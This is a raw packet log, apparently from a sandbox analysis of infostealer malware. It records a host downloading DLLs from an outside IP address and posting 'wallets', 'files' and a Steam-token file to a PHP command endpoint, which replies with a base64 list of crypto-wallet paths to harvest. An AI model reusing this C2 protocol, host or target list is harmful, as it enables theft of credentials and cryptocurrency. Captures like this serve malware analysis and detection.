53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 28, 2024 06:48:29.332619905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 28, 2024 06:48:29.332628012 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 28, 2024 06:48:29.332895041 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 28, 2024 06:48:29.332906961 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 28, 2024 06:48:29.332926035 CET	620	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 28, 2024 06:48:29.332937956 CET	1236	IN	Data Raw: 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 39 f0 73 14 68 03 e0 ff ff e8 3b f6 07 00 83 c4 04 b8 ff ff ff ff eb 16 8b 55 0c 8b 4d 08 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 Data Ascii: ]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}
Nov 28, 2024 06:48:29.332950115 CET	1236	IN	Data Raw: f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 f5 66 0f f4 ca 66 0f 70 d2 f5 66 0f f4 d4 66 0f 6f e0 66 0f fe 25 00 21 08 10 66 0f 70 c9 e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f Data Ascii: fo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFM
Nov 28, 2024 06:48:29.341244936 CET	1236	IN	Data Raw: 4d cc 8b 45 e8 8b 55 ec 01 d0 83 c0 03 0f b6 c0 8b 55 f0 0f b6 14 02 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 07 8b 45 f0 88 14 30 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 Data Ascii: MEUU}47}4E0UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}E
Nov 28, 2024 06:48:29.341341972 CET	1236	IN	Data Raw: a5 33 95 d8 fe ff ff 89 f8 31 f0 89 d6 0f a4 c6 08 0f a4 d0 08 89 85 5c ff ff ff 8b 9d 74 ff ff ff 8b 53 38 89 95 ec fe ff ff 8b 45 d0 01 d0 8b 53 3c 89 95 f0 fe ff ff 8b 5d e4 11 d3 03 85 5c ff ff ff 89 45 d0 11 f3 89 5d e4 31 d9 8b 95 64 ff ff Data Ascii: 31\tS8ES<]\E]1d1dMM}1\1M\tH@uHD4U`uU1]d1dMMMUU1u1
Nov 28, 2024 06:48:29.349919081 CET	1236	IN	Data Raw: 18 ff ff ff 8b 5d cc 13 9d 34 ff ff ff 01 f9 89 4d d4 11 c3 89 5d cc 31 de 31 ca 89 d3 0f a4 f3 10 89 9d 68 ff ff ff 0f ac f2 10 89 55 84 8b 4d dc 01 d1 89 ca 89 4d dc 8b 4d d8 11 d9 89 4d d8 31 c8 89 f9 31 d1 89 c2 0f a4 ca 01 89 55 a4 0f a4 c1 Data Ascii: ]4M]11hUMMMM11UME8M]E\|Mx1u1uEEMM11ut]Pu]M11Xx]]MM1
Nov 28, 2024 06:48:30.870693922 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 06:48:31.320794106 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 28, 2024 06:48:32.316575050 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 06:48:32.766717911 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 28, 2024 06:48:33.761248112 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 06:48:34.211174011 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 28, 2024 06:48:37.601337910 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 06:48:38.054667950 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 28, 2024 06:48:38.668746948 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 06:48:39.118396044 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 28, 2024 06:48:39.681061029 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 06:48:40.803323030 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 06:48:40.855899096 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="message"wallets------IEHJDGIDBAAFIDGCGCAK--
Nov 28, 2024 06:48:41.310082912 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 28, 2024 06:48:41.313102961 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJEGCFBGDHJJJJJKJEC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="message"files------AKJEGCFBGDHJJJJJKJEC--
Nov 28, 2024 06:48:41.771956921 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 06:48:41.788008928 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="file"------IDHIEGIIIECAKEBFBAAE--
Nov 28, 2024 06:48:42.730572939 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 06:48:42.759296894 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; 